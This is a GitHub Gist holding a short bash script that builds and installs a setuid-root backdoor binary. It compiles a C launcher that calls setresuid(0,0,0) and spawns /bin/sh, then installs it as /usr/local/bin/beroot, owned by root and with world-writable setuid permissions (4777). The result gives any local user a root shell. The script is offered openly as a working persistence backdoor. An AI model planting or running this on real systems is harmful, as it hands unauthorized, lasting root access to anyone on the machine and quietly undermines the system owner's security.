Last active
June 30, 2020 08:33
-
-
Save craig-m/53d48a2b86c4d16aa0aa827cca0d2e46 to your computer and use it in GitHub Desktop.
create a setuid privilege escalation backdoor bin
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # create a privilege escalation backdoor bin | |
| # | |
| # pi@psi:~ $ /usr/local/bin/beroot │············· | |
| # # whoami │············· | |
| # root | |
| # # | |
| /usr/bin/sudo id | grep --quiet "uid=0(root)" || { rpilogit "ERROR can not sudo"; exit 1; } | |
| where_gcc=$(which gcc || exit 1) | |
| TMPFILE="devtest.c" | |
| FILEDEST="/usr/local/bin/beroot" | |
| TMPDIR=$(mktemp -d) | |
| CURWD=$(pwd) | |
| cd $TMPDIR || exit 1; | |
| # create suid laucher c | |
| echo 'int main(void){setresuid(0, 0, 0);system("/bin/sh");}' > $TMPFILE | |
| # compile | |
| $where_gcc $TMPFILE -o suid 2>/dev/null | |
| rm -f $TMPFILE | |
| sudo chown root:root suid | |
| sudo chmod 4777 suid | |
| sudo mv -v suid $FILEDEST | |
| # test | |
| echo 'whoami && hostname' | $FILEDEST | |
| cd $CURWD | |
| # clean up | |
| rm -rf -- $TMPDIR |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment